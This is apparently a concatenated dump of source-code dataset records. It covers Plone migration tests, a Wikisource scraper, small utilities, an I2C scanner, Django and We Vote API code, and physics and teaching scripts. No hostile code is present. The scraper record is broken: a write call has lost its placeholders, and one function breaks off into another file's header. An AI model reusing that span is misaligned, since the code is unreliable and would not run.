'plone.app.contenttypes:default')\n dx_file_id = self.portal.invokeFactory('File',\n 'bar',\n title=\"Bar file\")\n at_file = self.portal[at_file_id]\n dx_file = self.portal[dx_file_id]\n self.assertEqual(dx_file.file, None)\n migrate_filefield(at_file, dx_file, 'file', 'file')\n self.assertEqual(dx_file.file.data, test_file_data)\n\n\nclass MigrateCustomATTest(unittest.TestCase):\n\n layer = PLONE_APP_CONTENTTYPES_MIGRATION_TESTING\n\n def setUp(self):\n self.portal = self.layer['portal']\n self.request = self.layer['request']\n setRoles(self.portal, TEST_USER_ID, ['Manager'])\n\n def tearDown(self):\n try:\n applyProfile(self.portal, 'plone.app.contenttypes:uninstall')\n except KeyError:\n pass\n\n def createCustomATDocument(self, id, parent=None):\n from Products.Archetypes.atapi import StringField, TextField\n from Products.ATContentTypes.interface import IATDocument\n from archetypes.schemaextender.interfaces import ISchemaExtender\n from archetypes.schemaextender.field import ExtensionField\n from zope.component import getGlobalSiteManager\n from zope.interface import implements\n\n # create schema extension\n class ExtensionTextField(ExtensionField, TextField):\n \"\"\" derivative of text for extending schemas \"\"\"\n\n class ExtensionStringField(ExtensionField, StringField):\n \"\"\" derivative of text for extending schemas \"\"\"\n\n class SchemaExtender(object):\n implements(ISchemaExtender)\n fields = [\n ExtensionTextField('textExtended',\n ),\n ExtensionStringField('stringExtended',\n ),\n ]\n\n def __init__(self, context):\n self.context = context\n\n def getFields(self):\n return self.fields\n\n # register adapter\n gsm = getGlobalSiteManager()\n gsm.registerAdapter(SchemaExtender, (IATDocument,), ISchemaExtender)\n\n # create content\n container = parent or self.portal\n container.invokeFactory('Document', id,\n title=\"Foo document\",\n stringExtended=\"foo text\",\n textExtended='foo extended rich text')\n at_document = container[id]\n\n # unregister adapter assure test isolation\n gsm.unregisterAdapter(required=[IATDocument], provided=ISchemaExtender)\n\n return at_document\n\n def test_migrate_extended_document(self):\n from plone.app.contenttypes.migration.migration import migrateCustomAT\n from plone.app.contenttypes.interfaces import INewsItem\n at_document = self.createCustomATDocument('foo-document')\n qi = self.portal.portal_quickinstaller\n # install pac but only install News Items\n qi.installProduct(\n 'plone.app.contenttypes',\n profile='plone.app.contenttypes:default',\n blacklistedSteps=['typeinfo'])\n installTypeIfNeeded(\"News Item\")\n fields_mapping = (\n {'AT_field_name': 'textExtended',\n 'AT_field_type': 'Products.Archetypes.Field.TextField',\n 'DX_field_name': 'text',\n 'DX_field_type': 'RichText', },\n {'AT_field_name': 'stringExtended',\n 'AT_field_type': 'StringField',\n 'DX_field_name': 'title',\n 'DX_field_type': 'StringField', },\n )\n # migrate extended AT Document to default DX News Item\n migrateCustomAT(\n fields_mapping, src_type='Document', dst_type='News Item')\n dx_newsitem = self.portal['foo-document']\n self.assertTrue(INewsItem.providedBy(dx_newsitem))\n self.assertTrue(dx_newsitem is not at_document)\n self.assertEquals(at_document.textExtended(), dx_newsitem.text.raw)\n self.assertEquals(at_document.stringExtended, dx_newsitem.title)\n\n def test_migrate_atevent_to_dxnewsitem(self):\n \"\"\"Tests the custom migration by migrating a default type. It is not\n meant to be used this way but is a nice way to test the migrations.\n During this migration the old event fti is still present.\n \"\"\"\n from DateTime import DateTime\n from plone.app.contenttypes.migration.migration import migrateCustomAT\n from plone.app.contenttypes.interfaces import INewsItem\n\n # create an ATEvent\n self.portal.invokeFactory('Event', 'event')\n at_event = self.portal['event']\n\n # Date\n at_event.getField('startDate') \\\n .set(at_event, DateTime('2013-02-03 12:00'))\n at_event.getField('endDate') \\\n .set(at_event, DateTime('2013-04-05 13:00'))\n\n # Contact\n at_event.getField('contactPhone').set(at_event, '123456789')\n at_event.getField('contactEmail').set(at_event, 'dummy@email.com')\n at_event.getField('contactName').set(at_event, u'Näme')\n\n # URL\n at_event.getField('eventUrl').set(at_event, 'http://www.plone.org')\n\n # Attendees\n at_event.getField('attendees').set(at_event, ('You', 'Me'))\n\n # Text\n at_event.setText('Tütensuppe')\n at_event.setContentType('text/plain')\n\n oldTZ = os.environ.get('TZ', None)\n os.environ['TZ'] = 'Asia/Tbilisi'\n\n qi = self.portal.portal_quickinstaller\n # install pac but only install News Items\n qi.installProduct(\n 'plone.app.contenttypes',\n profile='plone.app.contenttypes:default',\n blacklistedSteps=['typeinfo'])\n installTypeIfNeeded(\"News Item\")\n fields_mapping = (\n {'AT_field_name': 'text',\n 'AT_field_type': 'Products.Archetypes.Field.TextField',\n 'DX_field_name': 'text',\n 'DX_field_type': 'RichText', },\n {'AT_field_name': 'contactName',\n 'AT_field_type': 'StringField',\n 'DX_field_name': 'image_caption',\n 'DX_field_type': 'StringField', },\n )\n # migrate ATCTEvent to default DX News Item\n migrateCustomAT(fields_mapping, src_type='Event', dst_type='News Item')\n if oldTZ:\n os.environ['TZ'] = oldTZ\n else:\n del os.environ['TZ']\n\n dx_newsitem = self.portal['event']\n self.assertTrue(INewsItem.providedBy(dx_newsitem))\n self.assertTrue(dx_newsitem is not at_event)\n self.assertEquals(\n safe_unicode(at_event.getText()),\n dx_newsitem.text.output)\n self.assertEquals(\n at_event.contactName,\n dx_newsitem.image_caption)\n\n def test_migrate_atevent_to_dxevent(self):\n \"\"\"Tests the custom migration by migrating a default type. It is not\n meant to be used this way but is a nice way to test the migrations.\n During this migration the event fti is already replaced by the dx one.\n \"\"\"\n from DateTime import DateTime\n from plone.app.contenttypes.migration.migration import migrateCustomAT\n from plone.app.contenttypes.interfaces import IEvent\n\n # create an ATEvent\n self.portal.invokeFactory('Event', 'event')\n at_event = self.portal['event']\n\n # Date\n FORMAT = '%Y-%m-%d %H:%M'\n start = '2013-02-03 12:15'\n end = '2013-04-05 13:45'\n at_event.getField('startDate').set(at_event, DateTime(start))\n at_event.getField('endDate').set(at_event, DateTime(end))\n\n # Contact\n at_event.getField('contactPhone').set(at_event, '123456789')\n at_event.getField('contactEmail').set(at_event, 'dummy@email.com')\n at_event.getField('contactName').set(at_event, u'Näme')\n\n # URL\n at_event.getField('eventUrl').set(at_event, 'http://www.plone.org')\n\n # Attendees\n at_event.getField('attendees').set(at_event, ('Yöu', 'Me'))\n\n # Text\n at_event.setText('Tütensuppe')\n at_event.setContentType('text/plain')\n\n oldTZ = os.environ.get('TZ', None)\n TZ = 'Asia/Tbilisi'\n os.environ['TZ'] = TZ\n timezone = pytz.timezone(TZ)\n\n qi = self.portal.portal_quickinstaller\n # install pac but only install Event\n qi.installProduct(\n 'plone.app.contenttypes',\n profile='plone.app.contenttypes:default',\n blacklistedSteps=['typeinfo'])\n installTypeIfNeeded(\"Event\")\n fields_mapping = (\n {'AT_field_name': 'startDate',\n 'AT_field_type': 'Products.Archetypes.Field.DateTimeField',\n 'DX_field_name': 'start',\n 'DX_field_type': 'Datetime', },\n {'AT_field_name': 'endDate',\n 'AT_field_type': 'Products.Archetypes.Field.DateTimeField',\n 'DX_field_name': 'end',\n 'DX_field_type': 'Datetime', },\n {'AT_field_name': 'text',\n 'AT_field_type': 'Products.Archetypes.Field.TextField',\n 'DX_field_name': 'text',\n 'DX_field_type': 'RichText', },\n {'AT_field_name': 'eventUrl',\n 'AT_field_type': 'Products.Archetypes.Field.StringField',\n 'DX_field_name': 'event_url',\n 'DX_field_type': 'StringField', },\n {'AT_field_name': 'contactEmail',\n 'AT_field_type': 'Products.Archetypes.Field.StringField',\n 'DX_field_name': 'contact_email',\n 'DX_field_type': 'StringField', },\n {'AT_field_name': 'contactName',\n 'AT_field_type': 'Products.Archetypes.Field.StringField',\n 'DX_field_name': 'contact_name',\n 'DX_field_type': 'StringField', },\n {'AT_field_name': 'contactPhone',\n 'AT_field_type': 'Products.Archetypes.Field.StringField',\n 'DX_field_name': 'contact_phone',\n 'DX_field_type': 'StringField', },\n {'AT_field_name': 'attendees',\n 'AT_field_type': 'Products.Archetypes.Field.LinesField',\n 'DX_field_name': 'attendees',\n 'DX_field_type': 'Tuple', },\n )\n # migrate ATEvent to new default Event\n migrateCustomAT(fields_mapping, src_type='Event', dst_type='Event')\n dx_event = self.portal['event']\n self.assertTrue(IEvent.providedBy(dx_event))\n self.assertTrue(dx_event is not at_event)\n self.assertEquals(safe_unicode(\n at_event.getText()), dx_event.text.output)\n self.assertEquals(at_event.eventUrl, dx_event.event_url)\n self.assertEquals(at_event.contactEmail, dx_event.contact_email)\n self.assertEquals(at_event.contactName, dx_event.contact_name)\n self.assertEquals(at_event.contactPhone, dx_event.contact_phone)\n self.assertEquals(at_event.attendees, dx_event.attendees)\n self.assertEquals(\n dx_event.start,\n timezone.localize(datetime.strptime(start, FORMAT)))\n self.assertEquals(\n dx_event.end, timezone.localize(datetime.strptime(end, FORMAT)))\n if oldTZ:\n os.environ['TZ'] = oldTZ\n else:\n del os.environ['TZ']\n","sub_path":"buildout-cache/eggs/plone.app.contenttypes-1.2a9-py2.7.egg/plone/app/contenttypes/tests/test_migration_custom.py","file_name":"test_migration_custom.py","file_ext":"py","file_size_in_byte":16793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"459589453","text":"import logging\nimport os\n\nimport regex\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome import options\nfrom selenium.webdriver.remote.remote_connection import LOGGER\n\nfrom curation_utils import scraping\nfrom doc_curation.md import library\nfrom doc_curation.md.content_processor import details_helper\nfrom doc_curation.md.file import MdFile\nfrom indic_transliteration import sanscript\n\nLOGGER.setLevel(logging.WARNING)\nfrom urllib3.connectionpool import log as urllibLogger\nurllibLogger.setLevel(logging.WARNING)\n\nlogging.basicConfig(\n level=logging.DEBUG,\n format=\"%(levelname)s:%(asctime)s:%(module)s:%(lineno)d %(message)s\")\n\nopts = options.Options()\nopts.headless = True\nbrowser = webdriver.Chrome(options=opts)\nbrowser.implicitly_wait(6)\n\n\ndef get_item(id, dir_path):\n import urllib.parse\n dashaka_id = \"नारायणीयम्/दशकम्_%s\" % sanscript.transliterate(str(id), sanscript.SLP1, sanscript.DEVANAGARI)\n logging.info(dashaka_id)\n item_url = \"https://sa.wikisource.org/wiki/\" + urllib.parse.quote(dashaka_id)\n logging.info(item_url)\n browser.get(item_url)\n text = browser.find_element(value=\"div.poem\", by=By.CSS_SELECTOR).text\n text = text.replace(\"cअ\", \"च\").replace(\"cइ\", \"चि\").replace(\"cई\", \"ची\").replace(\"cउ\", \"चु\").replace(\"cऊ\", \"चू\").replace(\"cऋ\", \"चृ\").replace(\"cॠ\", \"चॄ\").replace(\"cऌ\", \"चॢ\").replace(\"cॡ\", \"चॣ\").replace(\"cए\", \"चे\").replace(\"cऐ\", \"चै\").replace(\"cओ\", \"चो\").replace(\"cऔ\", \"चौ\").replace(\"c\", \"च्\").replace(\"ळ\", \"ल\")\n shlokas = text.split(\"\\n\\n\")\n outfile_path = os.path.join(dir_path, \"%03d.md\" % id)\n os.makedirs(name=os.path.dirname(outfile_path), exist_ok=True)\n with open(outfile_path, \"w\") as outfile:\n for shloka_id in range(1, len(shlokas) + 1):\n outfile.write(\"
\\n\" % (id, id, shloka_id))\n outfile.writelines(shlokas[shloka_id-1].replace(\"\\n\", \" \\n\") + \"\\n\\n\")\n md_file = MdFile(file_path=outfile_path)\n md_file.set_title(sanscript.transliterate(\"%03d\" % id, sanscript.SLP1, sanscript.DEVANAGARI), dry_run=False)\n\n\ndef insert_translation(content, *args):\n def replacement_maker(match):\n text = match.group(0)\n soup = scraping.get_soup(url=f\"https://sanskritdocuments.org/sites/completenarayaneeyam/GistHtm/{match.group(2)}gist.htm\")\n detail = details_helper.Detail(title=\"English (Padmini)\", content=soup.select_one(\"body\").text).to_md_html()\n text += f\"\\n\\n{detail}\\n\\n\"\n return text\n content = regex.sub(\"(\\\n#\n# Distributed under terms of the MIT license.\n\n\"\"\"\nTask progress bar.\n\"\"\"\n\nimport time\nimport sys\n\ndef taskbar(i, num, st):\n p = (i + 1) * 100 / num\n duration = time.time() - st\n remaining = duration * 100 / (0.001 + p) - duration\n bar = '>'*int(p)+' '*(int(100-p))\n print(\"{}Progress: {:.1f}%,Time consuming:{:.1f}s,Time Remaining:{:.1f}s\".format(\n bar, p, duration, remaining), end=\"\\r\")\n \nif __name__ == \"__main__\":\n st = time.time()\n for i in range(1000):\n taskbar(i, 1000, st)\n time.sleep(0.01)\n\n\n","sub_path":"visualizetools/taskbar.py","file_name":"taskbar.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"231744130","text":"import os\nimport sqlite3\nimport pandas as pd\n\nDB_FILEPATH = os.path.join(os.path.dirname(__file__), \"buddymove_holidayiq.sqlite3\")\nBUDDY_FILEPATH = os.path.join(os.path.dirname(__file__), \"buddymove_holidayiq.csv\")\n\nconnection = sqlite3.connect(DB_FILEPATH)\nprint(\"CONNECTION:\", connection)\n\ncursor = connection.cursor()\nprint(\"CURSOR\", cursor)\n\ndf = pd.read_csv(BUDDY_FILEPATH)\ndf.to_sql('review', con=connection)","sub_path":"module1-introduction-to-sql/buddymove_holidayiq_init_database.py","file_name":"buddymove_holidayiq_init_database.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"206735205","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# Copyright 2020 by Murray Altheim. All rights reserved. This file is part of\n# the Robot OS project and is released under the \"Apache Licence, Version 2.0\".\n# Please see the LICENSE file included as part of this package.\n#\n# created: 2020-02-14\n# author: altheim\n#\n# see: https://www.raspberrypi.org/forums/viewtopic.php?t=114401\n# see: https://raspberrypi.stackexchange.com/questions/62612/is-there-anyway-to-scan-i2c-using-pure-python-libraries:q\n#\n\nimport errno\nfrom lib.logger import Level, Logger\n\nfrom colorama import init, Fore, Style\ninit()\n\nclass I2CScanner():\n '''\n Scans the I2C bus returning a list of addresses.\n '''\n\n def __init__(self, level):\n super().__init__()\n self._log = Logger('i2cscan', level)\n self._log.debug('initialising...')\n self.hex_list = []\n try:\n import smbus\n bus_number = 1 # 1 indicates /dev/i2c-1\n self._bus = smbus.SMBus(bus_number)\n self._log.info('ready.')\n except ImportError:\n self._log.warning('initialised. This script requires smbus. Will operate without but return an empty result.')\n self._bus = None\n\n\n def getHexAddresses(self):\n '''\n Returns a hexadecimal version of the list. This is only populated after calling getAddresses().\n '''\n return self.hex_list\n\n\n def getIntAddresses(self):\n '''\n Returns an integer version of the list. This is only populated after calling getAddresses().\n '''\n return self._int_list\n\n\n def getAddresses(self):\n self._int_list = []\n device_count = 0\n if self._bus is not None:\n for address in range(3, 128):\n try:\n self._bus.write_byte(address, 0)\n self._log.debug('found {0}'.format(hex(address)))\n self._int_list.append(address)\n self.hex_list.append(hex(address))\n device_count = device_count + 1\n except IOError as e:\n if e.errno != errno.EREMOTEIO:\n self._log.error('Error: {0} on address {1}'.format(e, hex(address)))\n except Exception as e: # exception if read_byte fails\n self._log.error('Error unk: {0} on address {1}'.format(e, hex(address)))\n \n self._bus.close()\n self._bus = None\n self._log.info(\"found {0} device(s)\".format(device_count))\n else:\n self._log.info(\"found no devices (no smbus available)\")\n return self._int_list\n\n\n # end class ................................................................\n\n# main .........................................................................\n\nTHUNDERBORG_ADDRESS = 0x15\n\ndef main():\n\n level = Level.INFO\n log = Logger('main', level)\n log.info('scanning for I2C devices...')\n scanner = I2CScanner(Level.INFO)\n\n addresses = scanner.getAddresses()\n log.info('available I2C device(s):')\n if len(addresses) == 0:\n log.warning('no devices found.')\n return\n else:\n for n in range(len(addresses)):\n address = addresses[n]\n log.info('device: {0} ({1})'.format(address, hex(address)))\n\n for i in range(len(addresses)):\n print(Fore.CYAN + '-- address: {}'.format(addresses[i]) + Style.RESET_ALL)\n\n print('')\n\n if THUNDERBORG_ADDRESS in addresses:\n print(Fore.CYAN + '-- thunderborg found at address {}: using motors/motor'.format(THUNDERBORG_ADDRESS) + Style.RESET_ALL)\n# from motors import Motors\n# from motor import Motor\n else:\n print(Fore.MAGENTA + '-- thunderborg not found at address {}: using motors/motor'.format(THUNDERBORG_ADDRESS) + Style.RESET_ALL)\n# from z_motors import Motors\n# from z_motor import Motor\n\n\nif __name__== \"__main__\":\n main()\n\n#EOF\n\n","sub_path":"lib/i2c_scanner.py","file_name":"i2c_scanner.py","file_ext":"py","file_size_in_byte":3967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"92080708","text":"# apis_v1/controllers.py\n# Brought to you by We Vote. Be good.\n# -*- coding: UTF-8 -*-\n\nfrom django.http import HttpResponse\nfrom exception.models import handle_exception\nfrom follow.models import FOLLOW_IGNORE, FOLLOWING, STOP_FOLLOWING\nimport json\nfrom organization.models import Organization\nfrom organization.controllers import organization_follow_all\nfrom voter.models import fetch_voter_id_from_voter_device_link, Voter, VoterManager\nimport wevote_functions.admin\nfrom wevote_functions.functions import is_voter_device_id_valid\n\nlogger = wevote_functions.admin.get_logger(__name__)\n\n\ndef organization_count():\n organization_count_all = 0\n try:\n organization_list_all = Organization.objects.all()\n organization_count_all = organization_list_all.count()\n success = True\n\n # We will want to cache a json file and only refresh it every couple of seconds (so it doesn't become\n # a bottle neck as we grow)\n except Exception as e:\n exception_message = \"organizationCount: Unable to count list of Organizations from db.\"\n handle_exception(e, logger=logger, exception_message=exception_message)\n success = False\n\n json_data = {\n 'success': success,\n 'organization_count': organization_count_all,\n }\n return HttpResponse(json.dumps(json_data), content_type='application/json')\n\n\ndef organization_follow(voter_device_id, organization_id=0, organization_we_vote_id=''):\n \"\"\"\n Save that the voter wants to follow this org\n :param voter_device_id:\n :param organization_id:\n :return:\n \"\"\"\n return organization_follow_all(voter_device_id, organization_id, organization_we_vote_id,\n follow_kind=FOLLOWING)\n\n\ndef organization_stop_following(voter_device_id, organization_id=0, organization_we_vote_id=''):\n \"\"\"\n Save that the voter wants to stop following this org\n :param voter_device_id:\n :param organization_id:\n :return:\n \"\"\"\n return organization_follow_all(voter_device_id, organization_id, organization_we_vote_id,\n follow_kind=STOP_FOLLOWING)\n\n\ndef organization_follow_ignore(voter_device_id, organization_id=0, organization_we_vote_id=''):\n \"\"\"\n Save that the voter wants to ignore this org\n :param voter_device_id:\n :param organization_id:\n :return:\n \"\"\"\n return organization_follow_all(voter_device_id, organization_id, organization_we_vote_id,\n follow_kind=FOLLOW_IGNORE)\n\n\ndef voter_count():\n voter_count_all = 0\n try:\n voter_list_all = Voter.objects.all()\n # In future, add a filter to only show voters who have actually done something\n # voter_list = voter_list.filter(id=voter_id)\n voter_count_all = voter_list_all.count()\n success = True\n\n # We will want to cache a json file and only refresh it every couple of seconds (so it doesn't become\n # a bottle neck as we grow)\n except Exception as e:\n exception_message = \"voterCount: Unable to count list of Voters from db.\"\n handle_exception(e, logger=logger, exception_message=exception_message)\n success = False\n\n json_data = {\n 'success': success,\n 'voter_count': voter_count_all,\n }\n return HttpResponse(json.dumps(json_data), content_type='application/json')\n\n\ndef voter_retrieve_list_for_api(voter_device_id):\n results = is_voter_device_id_valid(voter_device_id)\n if not results['success']:\n results2 = {\n 'success': False,\n 'json_data': results['json_data'],\n }\n return results2\n\n voter_id = fetch_voter_id_from_voter_device_link(voter_device_id)\n if voter_id > 0:\n voter_manager = VoterManager()\n results = voter_manager.retrieve_voter_by_id(voter_id)\n if results['voter_found']:\n voter_id = results['voter_id']\n else:\n # If we are here, the voter_id could not be found from the voter_device_id\n json_data = {\n 'status': \"VOTER_NOT_FOUND_FROM_DEVICE_ID\",\n 'success': False,\n 'voter_device_id': voter_device_id,\n }\n results = {\n 'success': False,\n 'json_data': json_data,\n }\n return results\n\n if voter_id:\n voter_list = Voter.objects.all()\n voter_list = voter_list.filter(id=voter_id)\n\n if len(voter_list):\n results = {\n 'success': True,\n 'voter_list': voter_list,\n }\n return results\n\n # Trying to mimic the Google Civic error codes scheme\n errors_list = [\n {\n 'domain': \"TODO global\",\n 'reason': \"TODO reason\",\n 'message': \"TODO Error message here\",\n 'locationType': \"TODO Error message here\",\n 'location': \"TODO location\",\n }\n ]\n error_package = {\n 'errors': errors_list,\n 'code': 400,\n 'message': \"Error message here\",\n }\n json_data = {\n 'error': error_package,\n 'status': \"VOTER_ID_COULD_NOT_BE_RETRIEVED\",\n 'success': False,\n 'voter_device_id': voter_device_id,\n }\n results = {\n 'success': False,\n 'json_data': json_data,\n }\n return results\n","sub_path":"apis_v1/controllers.py","file_name":"controllers.py","file_ext":"py","file_size_in_byte":5307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"341146300","text":"#!/usr/bin/env python\n#\n# Copyright (c) 2008-2012 Thomas Lotze\n# See also LICENSE.txt\n\n# indent the second line onwards to keep the PKG-INFO file format intact\n\"\"\"Utilities for writing tests: sandbox directories, mock external programs,\n graphical doc-tests for cairo surfaces.\n\"\"\"\n\nimport os.path\nfrom setuptools import setup, find_packages\n\n\nproject_path = lambda *names: os.path.join(os.path.dirname(__file__), *names)\n\nlongdesc = \"\\n\\n\".join((open(project_path(\"README.txt\")).read(),\n open(project_path(\"ABOUT.txt\")).read()))\n\ninstall_requires = [\n 'manuel>=1.0.0b3',\n \"setuptools\",\n ]\n\ntests_require = [\n 'mock>=0.8dev',\n \"zope.testing\",\n ]\n\nextras_require = {\n \"test\": tests_require,\n }\n\nclassifiers = [\n \"Development Status :: 3 - Alpha\",\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: Zope Public License\",\n \"Programming Language :: Python\",\n \"Topic :: Software Development :: Testing\",\n ]\n\nsetup(name=\"tl.testing\",\n version=\"0.5\",\n description=__doc__.strip(),\n long_description=longdesc,\n keywords=(\"testing unittest doctest file directory tree sandbox helper \"\n \"ls mkdir mock script manuel cairo graphics image\"),\n classifiers=classifiers,\n author=\"Thomas Lotze\",\n author_email=\"thomas@thomas-lotze.de\",\n url='http://packages.python.org/tl.testing/',\n license=\"ZPL 2.1\",\n packages=find_packages(),\n install_requires=install_requires,\n extras_require=extras_require,\n tests_require=tests_require,\n include_package_data=True,\n test_suite=\"tl.testing.tests.test_suite\",\n namespace_packages=[\"tl\"],\n zip_safe=False,\n )\n","sub_path":"pypi_install_script/tl.testing-0.5.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"526816935","text":"\n# import modules \nimport os\nimport csv\n\n\n#set path for file\nbudget_data = os.path.join(\"Resources\", \"budget_data.csv\")\n\n\n#set the output for the text file \ntext_path = \"analysis_output.txt\"\n\n \n#set variables\ntotal_months = 0\ntotal_revenue = 0\nrevenue = []\nprevious_revenue = 0\nmonth_of_change = 0\nrevenue_change = 0\ngreatest_decrease = [\"\", 9999999]\ngreatest_increase = [\"\", 0]\nrevenue_change_list = []\n\n\n#opencsv file\nwith open (budget_data, \"r\") as csvfile:\n csvreader = csv.DictReader(csvfile)\n \n \n #Loop through to find total months \n for row in csvreader:\n \n #count the total of months\n total_months += 1\n \n \n #calculate th total revenue over the entire period\n total_revenue = total_revenue + int(row['Profit/Losses'])\n \n #calculate the average change in revenue between months over the entire period\n revenue_change = float(row['Profit/Losses'])- previous_revenue\n previous_revenue = float(row['Profit/Losses'])\n revenue_change_list = revenue_change_list + [revenue_change]\n month_of_change = [month_of_change] + [row['Date']]\n \n \n #the greatest increase in revenue (date and amount) over the entire period\n if revenue_change>greatest_increase[1]:\n greatest_increase[1]= revenue_change\n greatest_increase[0]= row['Date']\n \n #the greatest decrease in revenue (date and amount) over the entire period \n if revenue_change str:\n if num == 0:\n return \"El numero es 0.\"\n if num < 0:\n return \"El numero es negativo.\"\n if num > 0:\n return \"El numero es positvo\"\n\n#print(definirNumero(5))\n\n# Condicional en Cascada\ndef cifras(num: int) -> str:\n if num > 0 and num < 10:\n return f\"{num} es de una cifra.\"\n elif num > 9 and num < 100:\n return f\"{num} es de dos cifras.\"\n else:\n if num > 99 and num < 1000:\n return f\"{num} es de tres cifras.\"\n else:\n if num > 999 and num < 10000:\n return f\"{num} es de cuatro cifras.\"\n else:\n if num < 0:\n return f\"{num} es un valor negativo.\"\n else:\n return f\"{num} tiene más de cuatro cifras.\" \n\n# print(cifras(5842458))\n\n# Decisiones anidada\n\ndef numero(num: int) -> str:\n\n if num == 0:\n return 0\n\n if num > 0:\n if num > 9 and num < 100:\n return f\"{num} es de dos digitos.\"\n else:\n if num < -99 and num > -1000:\n return f\"{num} es de tres digitos.\"\n\n# print(numero(-1000))\n\n# D: 0 - 1.99\n# I: 2 - 2.99\n# A: 3 - 3.99\n# S: 4 - 4.8\n# E: 4.9 - 5\n\ndef nota(num: float) -> str:\n\n if num >= 0 and num <= 5:\n if num >= 0 and num <= 1.99:\n return \"D\"\n elif num >= 2 and num <= 2.99:\n return \"I\"\n elif num >= 3 and num <= 3.99:\n return \"A\"\n elif num >= 4 and num <= 4.8:\n return \"S\"\n else:\n return \"E\"\n else:\n return \"El valor ingresado no tiene sentido para la función.\"\n\nprint(nota(5.2))\n","sub_path":"Ciclo I/Unidad 1 y 2/condicionales.py","file_name":"condicionales.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"121788841","text":"\"Aleksi Bossart, 28.3.2019\"\n\"Plot the number of modes as a function of size for a given 2x2 primitive cell\"\n\nimport numpy as np\nfrom scipy import linalg as algebra\nfrom matplotlib import pyplot as plt\n\n\n\"load functions defined in mechadef.py and autopenta.py\"\n\nfrom mechadef import drawlattice\nfrom mechadef import compatibility\nfrom mechadef import kernel\nfrom mechadef import posadj\n\n\n\"initialise the mode number matrix\"\n\nmaxdim = 8\n\nmodenumber = np.zeros(shape = (maxdim-1, maxdim-1))\nprediction = np.zeros(shape = (maxdim-1, maxdim-1))\n\n\n\"specify the primitive cell\"\n\ntiling = 'p4g'\n\nprimcell = np.transpose(np.genfromtxt('lattices/aperiodicity/penta/primcell/' + tiling, delimiter=','))[:, ::-1]\n\ndef lowerbound(n,m):\n\treturn 4;\n\n\n\n\"load the position file for the primitive cell\"\n\ncellpos = np.genfromtxt('lattices/positions/primitivecell/lieb', delimiter=',')\n\n\n\"prediction of the number of modes from vertex model\"\n\nfor n in range(1, maxdim):\n\n\tfor m in range(1, maxdim):\n\n\t\tprediction[m-1, n-1] = lowerbound(2*n, 2*m)\n\n\n\"loop over n and m, produce appropriate aperiodicity and generate positions and adjacency from there\"\n\nfor n in range(1, maxdim):\n\n\tfor m in range(1, maxdim):\n\n\t\taperio = np.tile(primcell, (n,m))\n\t\tpositions, adjacency = posadj(aperio, cellpos)\n\n\t\t\"compute the compatibility matrix\"\n\n\t\tcmat = compatibility(positions, adjacency)\n\n\n\t\t\"compute the number of floppy modes and save it\"\n\n\t\tmodenumber[m-1, n-1] = kernel(cmat).shape[0] - 3\n\n\n\t\tif m == maxdim-1 and n == 3:\n\t\t\tdrawlattice(positions, adjacency)\n\t\t\tplt.show()\n\n\n\"plot something\"\n\nsyssize = 2 * np.arange(1, maxdim)\n\t\n\nplt.title('Mode scaling for the ' + tiling + ' tiling')\nplt.xlabel = ('system size')\nplt.xlabel = ('number of modes')\nplt.plot(syssize, prediction[2, :], '-', color = 'k', label='vertex prediction')\nplt.plot(syssize, prediction[:, 2], '--', color='k', label='vertex prediction')\nplt.plot(syssize, modenumber[2, :], marker='o', lw=0, color='r', label='size (6,n)')\nplt.plot(syssize, modenumber[:, 2], marker='^', lw=0, color='b', label='size (m,6)')\nplt.legend()\nplt.savefig('results/figures/sanitycheck/' + tiling)\nplt.show()\n\n\n\"save the data as a csv\"\n\nnp.savetxt('results/modescaling/' + tiling, modenumber.astype(int), delimiter = ',', fmt=\"%d\")\n\n\n","sub_path":"PyLab/old_archive/modescaling.py","file_name":"modescaling.py","file_ext":"py","file_size_in_byte":2255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"368493129","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('whitelabel', '__first__'),\n ('extuser', '0020_auto_20160823_1252'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='extuser',\n name='external_id',\n field=models.IntegerField(verbose_name='ID пользователя у клиента', null=True, blank=True),\n ),\n migrations.AddField(\n model_name='extuser',\n name='organizations_client',\n field=models.ForeignKey(verbose_name='Организация, клиентом которой является пользователь', null=True, to='whitelabel.Organizations', blank=True),\n ),\n ]\n","sub_path":"extuser/migrations/0021_auto_20161108_1301.py","file_name":"0021_auto_20161108_1301.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"382962228","text":"\n\n#calss header\nclass _RELATED():\n\tdef __init__(self,): \n\t\tself.name = \"RELATED\"\n\t\tself.definitions = [u'connected: ', u'If people are related, they belong to the same family: ', u'If different types of animal are related, they come from the same type of animal: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'adjectives'\n\n\n\tdef run(self, obj1, obj2):\n\t\tself.jsondata[obj2] = {}\n\t\tself.jsondata[obj2]['properties'] = self.name.lower()\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/adjectives/_related.py","file_name":"_related.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"576627167","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n'''\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the 